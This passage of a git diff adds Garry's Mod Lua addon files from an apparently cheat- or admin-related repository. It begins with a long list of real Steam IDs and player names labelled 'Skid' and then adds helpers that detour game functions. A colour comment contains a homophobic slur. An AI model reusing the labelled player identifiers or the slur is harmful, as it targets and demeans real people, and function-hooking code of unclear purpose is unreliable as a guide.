"[VN] Necromancer", Skid = true}, + ["STEAM_0:0:26325950"] = {Name = "(AoN) Scythe. Vallis", Skid = true}, + ["STEAM_0:1:30473979"] = {Name = "[L4G]Mao", Skid = true}, + ["STEAM_0:0:35182677"] = {Name = "-hg- $panishcpt", Skid = true}, + ["STEAM_0:0:19882629"] = {Name = "XerXes", Skid = true}, + ["STEAM_0:1:15981340"] = {Name = "Nullsquared", Skid = true}, + ["STEAM_0:1:21595494"] = {Name = "Comander Jake", Skid = true}, + ["STEAM_0:1:9254303"] = {Name = "Brisarge", Skid = true}, + ["STEAM_0:0:24549875"] = {Name = "[I-G]iolyellor-applejack", Skid = true}, + ["STEAM_0:1:28034452"] = {Name = "PandaBunny", Skid = true}, + ["STEAM_0:1:33133624"] = {Name = "Skillfullrampage n0Reas0n", Skid = true}, + ["STEAM_0:1:26013561"] = {Name = "Ijorean Grey *Neko*", Skid = true}, + ["STEAM_0:0:27724947"] = {Name = "// LoX", Skid = true}, + ["STEAM_0:1:42244565"] = {Name = "bananakingy", Skid = true}, + ["STEAM_0:1:20482849"] = {Name = "SuperZero", Skid = true}, + ["STEAM_0:1:39246443"] = {Name = "Rawb", Skid = true}, + ["STEAM_0:0:19915495"] = {Name = "[SN] Bladever", Skid = true}, + ["STEAM_0:1:2901828"] = {Name = "boggle66", Skid = true}, + ["STEAM_0:1:23545934"] = {Name = "ShvartZ", Skid = true}, + ["STEAM_0:1:26237111"] = {Name = "Unknown Player -Mp5- (D.B.S)", Skid = true}, + ["STEAM_0:1:28202429"] = {Name = "ggggggg", Skid = true}, + ["STEAM_0:1:22652687"] = {Name = "[EUP] MBR NL", Skid = true}, + ["STEAM_0:1:33956590"] = {Name = "???yRoX ???-? ?", Skid = true}, + ["STEAM_0:1:47575354"] = {Name = "johnnyiii", Skid = true}, + ["STEAM_0:1:19156279"] = {Name = "Green NuKe", Skid = true}, + ["STEAM_0:0:35349986"] = {Name = "Teamplayer #1", Skid = true}, + ["STEAM_0:0:14316064"] = {Name = "Red", Skid = true}, + ["STEAM_0:1:16534089"] = {Name = "s0beit", Skid = true}, + ["STEAM_0:1:20706589"] = {Name = "IronCrunchy", Skid = true}, + ["STEAM_0:1:29142298"] = {Skid = true}, + ["STEAM_0:0:37797796"] = {Name = "aintash", Skid = true}, + ["STEAM_0:0:41966408"] = {Name = "-GUN- ¤¤D3AD_S1L3NT¤¤ ", Skid = true}, + ["STEAM_0:1:9892737"] = {Name = "Mikeums", Skid = true}, + ["STEAM_0:0:32493258"] = {Name = "Dusty", Skid = true}, + ["STEAM_0:0:31395925"] = {Name = "EmilyBliss", Skid = true}, + ["STEAM_0:0:38896771"] = {Name = "jimtsal60", Skid = true}, + ["STEAM_0:0:29141308"] = {Name = "[smc194658]Nussecke[manuel]", Skid = true}, + ["STEAM_0:0:17518358"] = {Name = "[TG] Chuteuk", Skid = true}, + ["STEAM_0:0:16210164"] = {Name = "[UC] Wesker Ashford [DOD]", Skid = true}, + ["STEAM_0:0:40515719"] = {Name = "viperkid108", Skid = true}, + ["STEAM_0:0:6796891"] = {Name = " Dr. Phil", Skid = true}, + ["STEAM_0:0:22030218"] = {Name = "IceD", Skid = true}, + ["STEAM_0:0:18691624"] = {Name = "lulululululul", Skid = true}, + ["STEAM_0:1:39718652"] = {Name = "saints", Skid = true}, + ["STEAM_0:1:26795718"] = {Name = "Toasty99", Skid = true}, + ["STEAM_0:0:40916370"] = {Name = "[DOG] Ryan! <3", Skid = true}, + ["STEAM_0:0:6083931"] = {Name = "NOO????? NO SOUND!", Skid = true}, + ["STEAM_0:1:15748061"] = {Name = "DubStepper", Skid = true}, + ["STEAM_0:0:20935234"] = {Name = "innocent", Skid = true}, + ["STEAM_0:0:17552156"] = {Name = "rawrmon", Skid = true}, + ["STEAM_0:1:16106995"] = {Name = "{LTF}Deadpool", Skid = true}, + ["STEAM_0:0:19141207"] = {Name = "Why so derp?", Skid = true}, + ["STEAM_0:1:44967454"] = {Name = "Solace", Skid = true}, + ["STEAM_0:0:32752830"] = {Name = "just_charlie", Skid = true}, + ["STEAM_0:1:36952930"] = {Name = "adam00722", Skid = true}, + ["STEAM_0:0:38049562"] = {Name = "BOoM-ZoOM.CLAN|*?//ER Drago", Skid = true}, + ["STEAM_0:0:39789811"] = {Name = "»e??«ßLu", Skid = true}, + ["STEAM_0:1:32509520"] = {Name = "^2 [MLG_Pro] o0Scribbles0o", Skid = true}, + ["STEAM_0:0:26776457"] = {Name = "R0nm0n5t3r{UK}", Skid = true}, + ["STEAM_0:1:19457286"] = {Name = "Grey Bullet (ThePCGamingGuys)", Skid = true}, + ["STEAM_0:0:26482577"] = {Name = "[MFT] gray22 [PL]", Skid = true}, + ["STEAM_0:1:654794"] = {Name = "NoReMoRsE", Skid = true}, + ["STEAM_0:0:22759703"] = {Name = "[]Insane[_]Haz[]", Skid = true}, + ["STEAM_0:1:35850209"] = {Name = "Nongee", Skid = true}, + ["STEAM_0:1:34911301"] = {Name = "Fisheater", Skid = true}, + ["STEAM_0:1:31942488"] = {Name = "Shadow", Skid = true}, + ["STEAM_0:1:28559895"] = {Name = "jplny98", Skid = true}, + ["STEAM_0:1:39057644"] = {Name = "fable-jack", Skid = true}, + ["STEAM_0:0:36060721"] = {Name = "Digital Instanity<3RainbowDash", Skid = true}, + ["STEAM_0:0:22571085"] = {Name = "thenoize", Skid = true}, + ["STEAM_0:1:9933049"] = {Name = "[MoW]Phage", Skid = true}, + ["STEAM_0:1:24747966"] = {Name = "AppleJack", Skid = true}, + ["STEAM_0:1:34227937"] = {Name = "[Tac97]Mr2Bombs", Skid = true}, + ["STEAM_0:0:43460090"] = {Name = "Floopy Floopy Floooop", Skid = true}, + ["STEAM_0:0:48684701"] = {Name = "Avoine", Skid = true}, + ["STEAM_0:0:24357756"] = {Name = "Kenny[FIN]", Skid = true}, + ["STEAM_0:0:37813021"] = {Name = "DPG| xJester", Skid = true}, + ["STEAM_0:0:15031301"] = {Name = "TH3 B1TZH |DK #ZacTity MM acc", Skid = true}, + ["STEAM_0:0:43676365"] = {Name = "Rotten", Skid = true}, + ["STEAM_0:1:36817398"] = {Name = "Melon", Skid = true}, + ["STEAM_0:1:4173280"] = {Name = "[ivG] MaGmA ViNx", Skid = true}, + ["STEAM_0:1:38577561"] = {Name = "FuriousJack95", Skid = true}, + ["STEAM_0:0:39131004"] = {Name = "<-zmm->whyme", Skid = true}, + ["STEAM_0:1:16702015"] = {Name = "Mr.UNSCspartan117", Skid = true}, + ["STEAM_0:1:23793842"] = {Name = "Eddeh", Skid = true}, + ["STEAM_0:1:40527896"] = {Name = "-ML Ultra", Skid = true}, + ["STEAM_0:0:39260710"] = {Name = "Will - Leafeon", Skid = true}, + ["STEAM_0:1:18916913"] = {Name = "PancakeWagon", Skid = true}, + ["STEAM_0:1:31102962"] = {Name = "Afroman", Skid = true}, + ["STEAM_0:1:5762375"] = {Name = "-=NrK=- Link2006 *Qc", Skid = true}, + ["STEAM_0:0:30924095"] = {Name = "siviler", Skid = true}, + ["STEAM_0:1:32723575"] = {Name = "LewzR", Skid = true}, + ["STEAM_0:0:19804927"] = {Name = "Roflcopta", Skid = true}, + ["STEAM_0:0:40983680"] = {Name = "Terrifying Toddler", Skid = true}, + ["STEAM_0:0:18173401"] = {Name = "Avoine", Skid = true}, + ["STEAM_0:0:30969162"] = {Name = "Cryoshell", Skid = true}, + ["STEAM_0:1:27865258"] = {Name = "Fail", Skid = true}, + ["STEAM_0:0:39786830"] = {Name = "dP | Teraz", Skid = true}, + ["STEAM_0:1:28082560"] = {Name = "Reedtheman", Skid = true}, + ["STEAM_0:0:20495521"] = {Name = "[RevG] Devvy", Skid = true}, + ["STEAM_0:1:35890901"] = {Name = "ig0r", Skid = true}, + ["STEAM_0:0:24053454"] = {Name = "[ZCC] Darkness", Skid = true}, + ["STEAM_0:0:41862193"] = {Name = "Qdrpl", Skid = true}, + ["STEAM_0:0:16963824"] = {Name = "Yamaha", Skid = true}, + ["STEAM_0:0:23858171"] = {Name = "DoritosMan", Skid = true}, + ["STEAM_0:1:11364880"] = {Name = "Varo", Skid = true}, + ["STEAM_0:0:20840781"] = {Name = "[Omega]knotty.the.slayer", Skid = true}, + ["STEAM_0:0:31586970"] = {Name = "Soldierboy", Skid = true}, + ["STEAM_0:0:43103634"] = {Name = "TheDarkRapistInsideYou", Skid = true}, + ["STEAM_0:0:34523451"] = {Name = "CaptainHand", Skid = true}, + ["STEAM_0:0:9017766"] = {Name = "Toster40", Skid = true}, + ["STEAM_0:1:32104346"] = {Name = "[cwN] F1REWALL", Skid = true}, + ["STEAM_0:0:16112398"] = {Name = "Pip", Skid = true}, + ["STEAM_0:1:24224987"] = {Name = "Nave321", Skid = true}, + ["STEAM_0:0:41633279"] = {Name = "Warrdogg", Skid = true}, + ["STEAM_0:0:43527716"] = {Name = "coxnathan23", Skid = true}, + ["STEAM_0:0:14364409"] = {Name = " [FR]M.Breadcrab", Skid = true}, + ["STEAM_0:0:34111703"] = {Name = "Bob", Skid = true}, + ["STEAM_0:1:25849684"] = {Name = "Teh UDS :3", Skid = true}, + ["STEAM_0:1:29502701"] = {Name = "openBSD", Skid = true}, + ["STEAM_0:0:47354457"] = {Name = "Freshminty", Skid = true}, + ["STEAM_0:1:29226146"] = {Name = "HTML programmer", Skid = true}, + ["STEAM_0:0:15128120"] = {Name = "Thermadyle", Skid = true}, + ["STEAM_0:1:7636698"] = {Name = "Criminalz", Skid = true}, + ["STEAM_0:0:27178652"] = {Name = "`?k?´`?i?´`?e?´`?", Skid = true}, + ["STEAM_0:0:37112930"] = {Name = "Just A Squirrel", Skid = true}, + ["STEAM_0:1:17321511"] = {Name = "Cibbi", Skid = true}, + ["STEAM_0:1:30992461"] = {Name = "www.youtube.com/OnlineHax", Skid = true}, + ["STEAM_0:1:16323273"] = {Name = "(=CG=) Inject OH 4", Skid = true}, + ["STEAM_0:1:41842035"] = {Name = "Mysterious", Skid = true}, + ["STEAM_0:0:16149334"] = {Name = "Random", Skid = true}, + ["STEAM_0:1:19074000"] = {Name = "[BBaH] tri lord xxyz [NDR]", Skid = true}, + ["STEAM_0:1:39843165"] = {Name = "[CSN] fargalarga", Skid = true}, + ["STEAM_0:1:30877682"] = {Name = "[OB] Sillyjuly", Skid = true}, + ["STEAM_0:0:27013904"] = {Name = "FireFox", Skid = true}, + ["STEAM_0:0:22390610"] = {Name = "gros tony", Skid = true}, + ["STEAM_0:1:42265843"] = {Name = "Lond", Skid = true}, + ["STEAM_0:1:41949294"] = {Name = "Millsyrob", Skid = true}, + ["STEAM_0:1:22111898"] = {Name = "Fisheater", Skid = true}, + ["STEAM_0:1:35244513"] = {Name = "Sync' Epidemic", Skid = true}, + ["STEAM_0:0:18776030"] = {Name = "DJ-BlazE", Skid = true}, + ["STEAM_0:1:25234722"] = {Name = "g4amer-_holy", Skid = true}, + ["STEAM_0:0:35065489"] = {Name = "^Z?ph?", Skid = true}, + ["STEAM_0:1:15858852"] = {Name = "Stoned", Skid = true}, + ["STEAM_0:0:5413450"] = {Name = "wog222", Skid = true}, + ["STEAM_0:1:38477102"] = {Name = "CrazyCallum113", Skid = true}, + ["STEAM_0:0:45009736"] = {Name = "Door_Theif", Skid = true}, + ["STEAM_0:1:32661146"] = {Name = "Android Phantom", Skid = true}, + ["STEAM_0:1:43732934"] = {Name = "Jesse Jackson", Skid = true}, + ["STEAM_0:0:25720134"] = {Name = "That Rapist Scout.", Skid = true}, + ["STEAM_0:1:15768300"] = {Name = "h3adak3", Skid = true}, + ["STEAM_0:0:11051833"] = {Name = "Pvt. R. Ryan [1st MD]", Skid = true}, + ["STEAM_0:0:36154666"] = {Name = "[CSN] Arokin", Skid = true}, + ["STEAM_0:1:13844417"] = {Name = "PyRoMaNiAc", Skid = true}, + ["STEAM_0:0:37158615"] = {Name = "Tojba", Skid = true}, + ["STEAM_0:0:37459709"] = {Name = "JU5TIN", Skid = true}, + ["STEAM_0:1:37594530"] = {Name = "ANTSU1", Skid = true}, + ["STEAM_0:1:29427364"] = {Name = "Ninjawitz", Skid = true}, + ["STEAM_0:1:17416034"] = {Name = "Zylos[ Everett ] :3", Skid = true}, + ["STEAM_0:0:26851433"] = {Name = "Pikajew", Skid = true}, + ["STEAM_0:0:41739109"] = {Name = "Flashforward x", Skid = true}, + ["STEAM_0:1:27123947"] = {Name = "One", Skid = true}, + ["STEAM_0:1:25594202"] = {Name = "{GTmobiusGT}", Skid = true}, + ["STEAM_0:0:18957995"] = {Name = "(AoN) Vallis. KNOBHEAD", Skid = true}, + ["STEAM_0:1:28033783"] = {Name = "| SLA | Zapulater", Skid = true}, + ["STEAM_0:0:21500576"] = {Name = "General McGravy [GrapeTF2]", Skid = true}, + ["STEAM_0:1:2848105"] = {Name = "Im a Ninjer", Skid = true}, + ["STEAM_0:1:43911188"] = {Name = "Sykranos", Skid = true}, + ["STEAM_0:0:26027365"] = {Name = "murphdog2007", Skid = true}, + ["STEAM_0:0:43709814"] = {Name = "Cobs", Skid = true}, + ["STEAM_0:1:25907586"] = {Name = "K.F.S R.S", Skid = true}, + ["STEAM_0:1:30992549"] = {Name = "retardest", Skid = true}, + ["STEAM_0:1:28908197"] = {Name = "Zira", Skid = true}, + ["STEAM_0:1:11829672"] = {Name = "FailedMailMan", Skid = true}, + ["STEAM_0:1:34600552"] = {Name = "Andrew", Skid = true}, + ["STEAM_0:1:34194067"] = {Name = "Triple Mushrooms x3 | Meow", Skid = true}, + ["STEAM_0:0:31011603"] = {Name = "Kiyoshi", Skid = true}, + ["STEAM_0:0:37045310"] = {Name = "[Ger] EliteGI I Gmod.BiZ", Skid = true}, + ["STEAM_0:1:40143283"] = {Name = "DefiasDerNekro <-{AMTF}->", Skid = true}, + ["STEAM_0:0:26567268"] = {Name = "GreedyGoat1337", Skid = true}, + ["STEAM_0:1:9463261"] = {Name = "/FL-L Lethal (Dexter)", Skid = true}, + ["STEAM_0:0:45911179"] = {Name = "?Ramon?", Skid = true}, + ["STEAM_0:1:26559697"] = {Name = "Nighthawk12", Skid = true}, + ["STEAM_0:0:21513525"] = {Name = "Policece cheef", Skid = true}, + ["STEAM_0:1:16689138"] = {Name = "?ac?ica? a?47??--", Skid = true}, + ["STEAM_0:0:18102368"] = {Name = "The Black Cuervo", Skid = true}, + ["STEAM_0:1:32056842"] = {Name = "KingOblivion411", Skid = true}, + ["STEAM_0:0:13638346"] = {Name = "Z-Fox", Skid = true}, + ["STEAM_0:1:32675280"] = {Name = "'Weegee", Skid = true}, + ["STEAM_0:0:24771886"] = {Name = "Prodigy", Skid = true}, + ["STEAM_0:0:26754479"] = {Name = "Mirc[NL]", Skid = true}, + ["STEAM_0:1:33994906"] = {Name = "cat", Skid = true}, + ["STEAM_0:1:16651350"] = {Name = "DjVip3rStrike", Skid = true}, + ["STEAM_0:1:42095815"] = {Name = "jacksinkler", Skid = true}, + ["STEAM_0:0:27505423"] = {Name = "|CG| Zipp42", Skid = true}, + ["STEAM_0:1:2464554"] = {Name = "Mossimo", Skid = true}, + ["STEAM_0:0:38202656"] = {Name = "lucas.black", Skid = true}, + ["STEAM_0:0:33563935"] = {Name = "Sk1||4ct1v4t3t[xX]Pr0M@n4g3r[xX", Skid = true}, + ["STEAM_0:1:42319745"] = {Name = "Anti", Skid = true}, + ["STEAM_0:0:39286435"] = {Name = "den fede kat", Skid = true}, + ["STEAM_0:0:24935839"] = {Name = "[JI] Wiiman789", Skid = true}, + ["STEAM_0:0:17464190"] = {Name = "EpiCKilleR", Skid = true}, + ["STEAM_0:1:11650863"] = {Name = "iDevinci", Skid = true}, + ["STEAM_0:1:44371222"] = {Name = "Connor", Skid = true}, + ["STEAM_0:0:28614059"] = {Name = "(PNPS) Lz.Jwad", Skid = true}, + ["STEAM_0:0:25812285"] = {Name = "Nomical", Skid = true}, + ["STEAM_0:1:28176330"] = {Name = "hTw", Skid = true}, + ["STEAM_0:0:12099804"] = {Name = "?cã?? Ðeãthßlãde", Skid = true}, + ["STEAM_0:0:12307269"] = {Name = "prylour", Skid = true}, + ["STEAM_0:0:25812910"] = {Name = "Gen.McMuff1n", Skid = true}, + ["STEAM_0:1:11254318"] = {Name = "Mr.PRO", Skid = true}, + ["STEAM_0:1:27945691"] = {Name = "[ZCC] Sly Unicorn", Skid = true}, + ["STEAM_0:0:36831393"] = {Name = "[^1Y^9T^7]Halber SchamHahn", Skid = true}, + ["STEAM_0:0:43372066"] = {Name = "Pepper", Skid = true}, + ["STEAM_0:0:37025247"] = {Name = "Juholei1 [FIN]", Skid = true}, + ["STEAM_0:1:36506186"] = {Name = "P3RF3CT1ON", Skid = true}, + ["STEAM_0:1:33687954"] = {Name = "Anthr4X", Skid = true}, + ["STEAM_0:0:25093119"] = {Name = "[6kx3] Blue Kirby", Skid = true}, + ["STEAM_0:1:45277901"] = {Name = "Alatreonslayer", Skid = true}, + ["STEAM_0:0:12562190"] = {Name = "Dmitri21", Skid = true}, + ["STEAM_0:0:30599736"] = {Name = "AUSTENxTHExNINJA", Skid = true}, + ["STEAM_0:1:39483232"] = {Name = "|-.-|", Skid = true}, + ["STEAM_0:0:35400704"] = {Name = "|Bhop| A NomANom Monster", Skid = true}, + ["STEAM_0:1:26367423"] = {Name = "(PGCUK)Pezzzz", Skid = true}, + ["STEAM_0:1:13857871"] = {Name = "-[PuG]- Armyguy!", Skid = true}, + ["STEAM_0:1:33573521"] = {Name = "thingkiller", Skid = true}, + ["STEAM_0:0:18706064"] = {Name = "[NC] TheBlueWolf", Skid = true}, + ["STEAM_0:1:34120081"] = {Name = "?Stewie?", Skid = true}, + ["STEAM_0:1:24966821"] = {Name = "| DPG | Hasular | PoKi |", Skid = true}, + ["STEAM_0:0:30472970"] = {Name = "(PNPS) Haters Gonna Hate :3", Skid = true}, + ["STEAM_0:0:33769447"] = {Name = "Ulven mogens", Skid = true}, + ["STEAM_0:1:32002858"] = {Name = "-[FF]- M Night Shlongalong", Skid = true}, + ["STEAM_0:1:26203842"] = {Name = "PBS", Skid = true}, +} + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_backend.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_backend.lua new file mode 100644 index 0000000..f549870 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_backend.lua @@ -0,0 +1,44 @@ + + +if not iface3 then + HeXInclude = include +end +local Typ = type(HeX) +if (Typ == "number" or Typ == "boolean") then + _G.HeXGlobal_AC = true +end +HeX = { + include = HeXInclude, +} + +HeX.include("HeX/hx_loader_modules.lua") +HeX.include("HeX/hx_loader_meta.lua") +HeX.include("HeX/hx_loader_globals.lua") + +IsMainGMod = file.Exists("MAIN.lua",true) + +if (SERVER) then + for k,v in ipairs( file.FindInLua("HeX/server/*.lua") ) do + Msg(" HeX/server/"..v.."\n") + include("HeX/server/"..v) + end +end + +for k,v in ipairs( file.FindInLua("HeX/sh_*.lua") ) do + Msg(" HeX/"..v.."\n") + HeX.include("HeX/"..v) +end + + +if (CLIENT) then + for k,v in ipairs( file.FindInLua("HeX/client/*.lua") ) do + Msg(" HeX/"..v.."\n") + HeX.include("HeX/client/"..v) + end +end + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_globals.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_globals.lua new file mode 100644 index 0000000..b46ab82 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_globals.lua @@ -0,0 +1,221 @@ + + +GREEN = Color(66,255,96) --HSP green +SGREEN = Color(180,250,160) --source green +GREEN2 = Color(0,255,0) +LtGreen = Color(174,255,0) +WHITE = Color(255,255,255) --white +RED = Color(255,0,11) --red +RED2 = Color(255,0,0) --More red +KIRED = Color(255,80,0,255) +BLUE = Color(51,153,255) --HeX Blue +LPBLUE = Color(80,170, 255) --Laser pistol blue +YELLOW = Color(255,200,0,255) --yellow +YELLOW2 = Color(255,220,0,200) --HEV yellow +PINK = Color(255,0, 153) --faggot pink +PBLUE = Color(155,205,248) --printall blue +PURPLE = Color(149,102,255) --ASK2 purple +ORANGE = Color(255,153,0) --respected orange +GREY = Color(175,175,175) --blackops grey +KCHEAT = Color(249,199,255) + +TRUE = function() return true end +FALSE = function() return false end +Useless = function() end + +local ToSet = { + NotCCC = CreateClientConVar, + NotRCC = RunConsoleCommand, + NotGCV = GetConVar, + NotFFIL = file.FindInLua, + NotFF = file.Find, + NotFD = file.Delete, + NotDGI = debug.getinfo, + NotCCA = concommand.Add, +} +for k,v in pairs(ToSet) do + if not _G[k] then + _G[k] = v + end +end + + +function HeX.MyCall(lev) + local DGI = NotDGI(lev or 3) + if not DGI then return "Gone", 0 end + + local Path = (DGI.short_src or "Gone"):gsub("\\","/") + local Line = (DGI.linedefined or 0) + + return Path,Line +end +function HeX.FPath(func) + local What = type(func) + if not (What == "function") then return What,0 end + local DGI = NotDGI(func) + if not DGI then return "Gone",0 end + + local Path = (DGI.short_src or What):gsub("\\","/") + local Line = (DGI.linedefined or 0) + + return Path,Line +end + + +--- === If anyone ever reads this, these are NOT for hacking since it's pointless. They are for idiot servers and garry's fuckups === --- +HeX.Detour = { + Saved = {} +} + +function HeX.Detour.Meta(lib,func,new) + if not (lib and func and new) then + error("Missing args from HeX.Detour.Meta(lib,func,new)", 2) + end + + if not _R[lib][func] then + error("Missing table, '_R."..lib.."."..func.."' doesn't exist", 2) + end + + if _R[lib][func.."Old"] then + _R[lib][func] = _R[lib][func.."Old"] + _R[lib][func.."Old"] = nil + HeX.Detour.Saved[lib.."."..func] = nil + + ErrorNoHalt( Format("Detour of '%s.%s' from: %s was RELOADED\n", lib, func, HeX.FPath(new)) ) + end + + HeX.Detour.Saved[lib.."."..func] = {old = _R[lib][func], new = new} + _R[lib][func.."Old"] = _R[lib][func] + _R[lib][func] = new +end +--[[ +HeX.Detour.Meta("Player", "PrintMessage", function(new) end) + +HeX.Detour.Meta("bf_read", "ReadString", function(new) end) +]] + +function HeX.Detour.Global(lib,func,new) + if not (lib and func and new) then + error("Missing args from HeX.Detour.Global(lib,func,new)", 2) + end + + local where = lib + if where == "_G" then + where = _G + else + where = _G[where] + end + + if not where then --Table doesn't exists in _G + error("Missing table, '_G."..lib.."."..func.."' doesn't exist", 2) + end + + if where[func.."Old"] then + where[func] = where[func.."Old"] + where[func.."Old"] = nil + HeX.Detour.Saved[lib.."."..func] = nil + + ErrorNoHalt( Format("Detour of '%s.%s' from: %s was RELOADED\n", lib, func, HeX.FPath(new)) ) + end + + HeX.Detour.Saved[lib.."."..func] = {old = where[func], new = new} + where[func.."Old"] = where[func] + where[func] = new +end + +--[[ +HeX.Detour.Global("os", "date", function(new) end) + +HeX.Detour.Global("_G", "PrintMessage", function(new) end) +]] + + +if (SERVER) then + function HeX.Detour.DumpSV(ply,cmd,args) + for k,v in pairs( HeX.Detour.Saved ) do + print("! func,old,new: ", k, HeX.FPath(v.old), HeX.FPath(v.new) ) + end + end + concommand.Add("hex_dump_detours_sv", HeX.Detour.DumpSV) +end + +if (CLIENT) then + function HeX.Detour.DumpCL(ply,cmd,args) + for k,v in pairs( HeX.Detour.Saved ) do + print("! func,old,new: ", k, HeX.FPath(v.old), HeX.FPath(v.new) ) + end + end + concommand.Add("hex_dump_detours_cl", HeX.Detour.DumpCL) + + + function COLCON(...) + if fuckup then + for k,v in pairs( {...} ) do + if ( type(v) == "string" ) then + Msg(v) + end + end + Msg("\n") + return + end + + local color = color_white + for k,v in pairs( {...} ) do + local typ = type(v) + + if (typ == "table" && v["b"] && v["g"] && v["r"]) then + color = v + elseif (typ == "Player" and IsValid(v)) then + console.PrintColor(team.GetColor(v:Team()), v:GetName()) + elseif ((typ == "Entity" or typ == "Weapon" or typ == "Vehicle" or typ == "NPC") and IsValid(v)) then + console.PrintColor(EntityColor, v:GetClass()) + else + console.PrintColor(color, tostring(v)) + end + end + console.PrintColor(color, "\n") + end + + function HeXLRCL(str) + if fuckup then + print("! HeXLRCL compat: ", str) + LocalPlayer():ConCommand(str) + return + end + + console.Command(str) + end + + function HeX.SetupGlobals() + RunConsoleCommand("hostname", GetHostName() ) + RunConsoleCommand("hostip", client.GetIP() ) + end + hook.Add("InitPostEntity", "!HeX.SetupGlobals", HeX.SetupGlobals) + if iface3 then + timer.Simple(0.1, HeX.SetupGlobals) + end + + + + local ToPrint = {} + local Done = false + function printDelay(what) + if Done then + return print(what) + end + ToPrint[what] = true + end + + local function PrintSaved() + Done = true + for k,v in pairs(ToPrint) do + print(k) + end + end + timer.Simple(0.1, PrintSaved) +end + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_meta.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_meta.lua new file mode 100644 index 0000000..a3e2a17 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_meta.lua @@ -0,0 +1,43 @@ + + + +local pMeta = FindMetaTable("Player") + +function pMeta:TeamColor() + return team.GetColor( self:Team() ) +end + +function pMeta:IsHeX() + return self:SteamID() == "STEAM_0:0:17809124" +end + +function pMeta:SID() + return self:SteamID():gsub(":","_") +end + + +function HeX.StringInTable(str,tab) + if not tab then + ErrorNoHalt("StringInTable, no table!\n", 2) + return false,false,false + end + + for k,v in pairs(tab) do + if str:find(v) then + return true,k,v + end + end + return false,false,false +end +string.InTable = HeX.StringInTable + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_modules.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_modules.lua new file mode 100644 index 0000000..187a302 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_loader_modules.lua @@ -0,0 +1,14 @@ + + +if (CLIENT) then + if not client then + require("extras") + end + if not client then + fuckup = true + end +end + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_00Spawn.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_00Spawn.lua new file mode 100644 index 0000000..3da111e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_00Spawn.lua @@ -0,0 +1,22 @@ + + + +local function ShowTheSpawns() + for k,v in pairs( ents.FindByClass("info_player_*") ) do + local Where = v:GetPos() + + local ent = ents.Create("sent_ball") + ent:SetPos( Where + Vector(0,0,60) ) + ent:Spawn() + ent:GetPhysicsObject():Sleep() + + print("! spawnpoint at: ", Where) + end +end +concommand.Add("00_BouncySpawnPoint", ShowTheSpawns) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_InfAng.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_InfAng.lua new file mode 100644 index 0000000..9ee0170 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_InfAng.lua @@ -0,0 +1,14 @@ + + + +hook.Add("SetupMove", "InfAngle", function(ply, cmd) + local ang = cmd:GetMoveAngles() + + if not (ang.p >= 0 or ang.p <= 0) or not (ang.y >= 0 or ang.y <= 0) or not (ang.r >= 0 or ang.r <= 0) then + cmd:SetMoveAngles(Angle(0, 0, 0)) + ply:SetEyeAngles(Angle(0, 0, 0)) + end +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_JeepGun.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_JeepGun.lua new file mode 100644 index 0000000..4db2d65 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/server/sv_JeepGun.lua @@ -0,0 +1,14 @@ + + + +hook.Add("PlayerSpawnedVehicle", "GUNS", function(p,e) + e:SetKeyValue("EnableGun","1") + e:Fire("SetCargoHopperVisibility",1,0) + e:Fire("EnableRadar",1,0) +end) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_DumpMap.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_DumpMap.lua new file mode 100644 index 0000000..9936fc4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_DumpMap.lua @@ -0,0 +1,116 @@ + + +local GoodEnts = { + "prop_physics", + "prop_physics_multiplayer", + "prop_physics_override", + "gmod_thruster", + "gmod_hoverball", + "gmod_turret", + "npc_turret_floor", + "prop_vehicle_prisoner_pod", + "prop_vehicle_jeep", +} + +local DumpFile = "mapdump-"..game.GetMap():lower().."-" + +DumpTAB = {} + +if (CLIENT) then + function TakeDump(p,c,a) + local Name = a[1] or "Fuck" + local DumpFile = 